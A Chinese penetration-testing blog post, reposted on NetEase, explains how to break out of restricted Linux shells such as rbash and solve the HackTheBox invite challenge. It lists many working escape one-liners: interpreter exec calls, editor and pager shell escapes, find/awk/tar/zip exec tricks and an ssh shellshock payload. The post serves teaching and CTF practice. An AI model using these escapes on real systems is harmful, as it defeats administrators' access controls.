网易首页 > 网易号 > 正文 申请入驻

渗透技巧——如何逃逸Linux的受限制shell执行任意命令

0
分享至

0x01 前言

今早在刷twitter的时候看到了一篇文章(https://www.exploit-db.com/docs/english/44592-linux-restricted-shell-bypass-guide.pdf?rss),介绍了如何在受限制的shell中执行任意命令,实现交互。其相应的利用场景是说当我们通过一些手段拿到当前Linux机器的shell时,由于当前shell的限制,很多命令不能执行,导致后续的渗透无法进行,在这篇文章中,就介绍了一些常见的绕过方法,同时在文章末尾提供了一个线上的练习环境。

我就该文章提到的相应技术细节进行复现,同时附带上一些自己的思考,于是便有了本文。如有谬误,还望各位师傅斧正。

在文章开始,首先来介绍一下什么是受限制的shell。简单理解,受限制的shell是说限制了一个shell的部分命令,像cd、ls、echo,或者是限制了一些环境变量,诸如SHELL、PATH、USER。有些情况下,受限制的shell也会限制包含/的命令,或者限制一些输出符,像>、>>等。常见的受限制shell有:rbash、rksh、rsh。

不过话又说回来了,为什么有的人会创建这种受限制的shell呢?什么样的业务场景需要这种受限制的shell。

通常来讲,构建一个受限制的shell通常处于以下目的:

1、提高操作系统的安全性

2、阻止攻击者,防止其进行后续的渗透

3、有时,系统管理员也会创建受限制的shell防止自己输入一些危险命令,影响业务

4、制作CTF题目(Root-me、hackthebox、vulnhub)

枚举是找到突破方法的重要组成部分。我们需要枚举Linux环境来检测为了绕过rbash我们可以做哪些事。

在正式进行绕过测试之前,我们需要进行以下操作:

1、首先,我们必须检查可用命令,像cd、ls、echo等

2、接下来我们要检查常见的操作符,像>、>>、<、|

3、然后对可用的编程语言进行检查,如perl、ruby、python等

4、通过sudo -l命令检查我们可以使用root权限运行哪些命令

5、使用SUID perm检查文件或命令。

6、使用echo $SHELL命令检查当前使用的是什么shell(90%得到的结果是rbash)

7、使用env或者printenv命令检查环境变量

通过以上操作,我们已收集到一些游泳的信息,接下来尝试一下通用的利用方法。

1、如果"/"命令可用的话,运行/bin/sh或者/bin/bash

2、运行cp命令,将/bin/sh或者/bin/bash复制到当前目录

3、在ftp中运行!/bin/sh或者!/bin/bash,如下图所示

4、在gdb中运行!/bin/sh或者!/bin/bash

5、在more、man、less中运行!/bin/sh或者!/bin/bash

6、在vim中运行!/bin/sh或者!/bin/bash

7、在rvim中执行:python import os; os.system("/bin/bash )

8、scp -S /path/yourscript x y:

9、awk 'BEGIN {system("/bin/sh or /bin/bash")}'

10、find / -name test -exec /bin/sh or /bin/bash \;

其中第6、7、8几种方法暂未在本地复现。

利用常见的编程语言解释器实现受限制shell的绕过

1、使用except spawn

2、python -c 'import os; os.system("/bin/sh")'

3、php -a then exec("sh -i");

4、perl -e 'exec "/bin/sh";'

5、Lua:os.execute('/bin/sh').

6、ruby:exec "/bin/sh"

1、ssh username@IP – t "/bin/sh" or "/bin/bash"

2、ssh username@IP -t "bash –noprofile"

3、ssh username@IP -t "() { :; }; /bin/bash" (shellshock)

4、ssh -o ProxyCommand="sh -c /tmp/yourfile.sh" 127.0.0.1 (SUID)

5、git帮助状态下通过!/bin/bash进入交互式shell

6、pico -s "/bin/bash"进入编辑器写入/bin/bash然后按ctrl + T键

7、zip /tmp/test.zip /tmp/test -T –unzip-command="sh -c /bin/bash"

8、tar cf /dev/null testfile –checkpoint=1 –checkpointaction=exec=/bin/bash

C SETUID SHELL :

原文提供了两个线上练习环境,这里对相应的题解进行解答。

先来看下这个站点https://www.hackthebox.eu/,这个站点需要注册登陆后才能使用其中的题目,根据faq,注册需要完成一个线上挑战,https://www.hackthebox.eu/invite

简单尝试了下,开始看前端的代码,

访问https://www.hackthebox.eu/js/inviteapi.min.js

在console下执行makeInviteCode()

根据data和相应的加密方式还原出明文信息。

根据提示是向该地址发送POST包,

对code的内容进行解码,即获得了相应的邀请码,拿去注册即可。

大概看了下,这个网站的内容还是挺有趣的,所以不打算在这节介绍了,以后有机会开个系列详细介绍。

0x08 参考链接

https://www.root-me.org/en/Challenges/App-Script/Restricted-shells

https://www.hackthebox.eu/

https://www.exploit-db.com/docs/english/44592-linux-restricted-shell-bypass-guide.pdf?rss

https://www.cnblogs.com/lzrabbit/p/4298794.html

特别声明:以上内容(如有图片或视频亦包括在内)为自媒体平台“网易号”用户上传并发布,本平台仅提供信息存储服务。

Notice: The content above (including the pictures and videos if any) is uploaded and posted by a user of NetEase Hao, which is a social media platform and only provides information storage services.

相关推荐
热点推荐
赵匡胤雪夜被追杀,在破庙被乡村姑娘所救,20年后宋太祖寻至该村

赵匡胤雪夜被追杀,在破庙被乡村姑娘所救,20年后宋太祖寻至该村

卡西莫多的故事
2025-12-19 11:20:22
被抓后首次公开发声 马杜罗说“晚安”“新年快乐”

被抓后首次公开发声 马杜罗说“晚安”“新年快乐”

新京报
2026-01-04 12:32:02
太尴尬!某单位一把手调离,在群里发临别感言,整整2天无人回应

太尴尬!某单位一把手调离,在群里发临别感言,整整2天无人回应

火山诗话
2025-08-08 15:17:30
确认了,是江苏籍女演员白鹿

确认了,是江苏籍女演员白鹿

让生活充满温暖
2026-01-04 09:41:59
王心凌线下被偶遇,裤腰宽大身材干瘪,站人群里无人问好普通

王心凌线下被偶遇,裤腰宽大身材干瘪,站人群里无人问好普通

往史过眼云烟
2026-01-04 21:55:08
哪怕结婚十年,用对技巧也能让你的夫妻性生活每晚都有新高潮

哪怕结婚十年,用对技巧也能让你的夫妻性生活每晚都有新高潮

精彩分享快乐
2026-01-05 00:10:03
10年老保姆的倾诉:照顾过很多老人后,让我发现,人老了都很可怜

10年老保姆的倾诉:照顾过很多老人后,让我发现,人老了都很可怜

人间百态大全
2026-01-03 06:35:03
3个妹妹一个也没嫁!重庆一哥哥很苦恼:为啥自己妹妹不想结婚?

3个妹妹一个也没嫁!重庆一哥哥很苦恼:为啥自己妹妹不想结婚?

唐小糖说情感
2026-01-04 17:23:54
美媒:特朗普政府对委军事行动激怒民主党人,多名议员提议罢免特朗普

美媒:特朗普政府对委军事行动激怒民主党人,多名议员提议罢免特朗普

环球网资讯
2026-01-04 09:25:20
郭晶晶家发奖金了,张雨霏获157万,全红婵等排第二,第一是谁?

郭晶晶家发奖金了,张雨霏获157万,全红婵等排第二,第一是谁?

尘语者
2024-08-30 22:40:12
步兵 市来美保:初代"科技脸"鼻祖?被骂十年却成业界传奇!

步兵 市来美保:初代"科技脸"鼻祖?被骂十年却成业界传奇!

素然追光
2026-01-04 22:57:12
大陆披露沈伯洋相关位置信息,民进党连夜回应,岛内多部门罕见发声

大陆披露沈伯洋相关位置信息,民进党连夜回应,岛内多部门罕见发声

荷兰豆爱健康
2026-01-04 09:32:47
被特斯拉坑惨,从垄断全球到跌落神坛,日本动力电池标杆全线败退

被特斯拉坑惨,从垄断全球到跌落神坛,日本动力电池标杆全线败退

蓝鲸新闻
2026-01-02 12:58:28
2026高速新政放大招!春节免费9天+5条高速永久免费,你能省多少

2026高速新政放大招!春节免费9天+5条高速永久免费,你能省多少

今朝牛马
2026-01-04 20:53:19
1700家社区食堂关门了:不是老人不吃饭,是饭没送到嘴边

1700家社区食堂关门了:不是老人不吃饭,是饭没送到嘴边

阿伧说事
2025-08-01 07:23:30
还能长个儿,18岁的亚马尔3年里身高已经长了10公分

还能长个儿,18岁的亚马尔3年里身高已经长了10公分

懂球帝
2026-01-04 20:43:15
詹姆斯:教练更替会增加紧张情绪;在马雷斯卡手下踢球很愉快

詹姆斯:教练更替会增加紧张情绪;在马雷斯卡手下踢球很愉快

懂球帝
2026-01-05 03:59:02
特朗普彻底撕下“打击毒品”伪装,直言不讳:美国将控制委内瑞拉

特朗普彻底撕下“打击毒品”伪装,直言不讳:美国将控制委内瑞拉

阿龙聊军事
2026-01-04 16:46:27
折磨人的生理反应有哪些?网友:排卵期就想穿性感一点

折磨人的生理反应有哪些?网友:排卵期就想穿性感一点

带你感受人间冷暖
2026-01-04 00:10:07
委内瑞拉副总统代行总统职权,国际舆论为何沸腾?

委内瑞拉副总统代行总统职权,国际舆论为何沸腾?

听风50
2026-01-04 13:57:12
2026-01-05 04:23:00
嘶吼RoarTalk incentive-icons
嘶吼RoarTalk
不一样的互联网安全新视界
8110文章数 10545关注度
往期回顾 全部

头条要闻

拘押马杜罗的拘留中心"环境令人作呕" 内部画面披露

头条要闻

拘押马杜罗的拘留中心"环境令人作呕" 内部画面披露

体育要闻

女子世界第一,9年前在咖啡店洗碗

娱乐要闻

《小城大事》上星央八 热血筑梦正当时

财经要闻

李迅雷:扩内需必须把重心从"投"转向"消"

科技要闻

雷军:骂小米汽车有流量,但别故意抹黑

汽车要闻

最高续航310km 岚图泰山8或将上半年发布

态度原创

艺术
游戏
时尚
手机
健康

艺术要闻

震撼视觉!西班牙画家安格拉达的油画作品引热议

自走棋火了6年后,我才玩了《王者万象棋》

这才是中年女人该有的打扮,不扮嫩、不穿花,简约大方还显贵

手机要闻

一加Turbo6参数公布,挑战Turbo档最强游戏体验

这些新疗法,让化疗不再那么痛苦

无障碍浏览 进入关怀版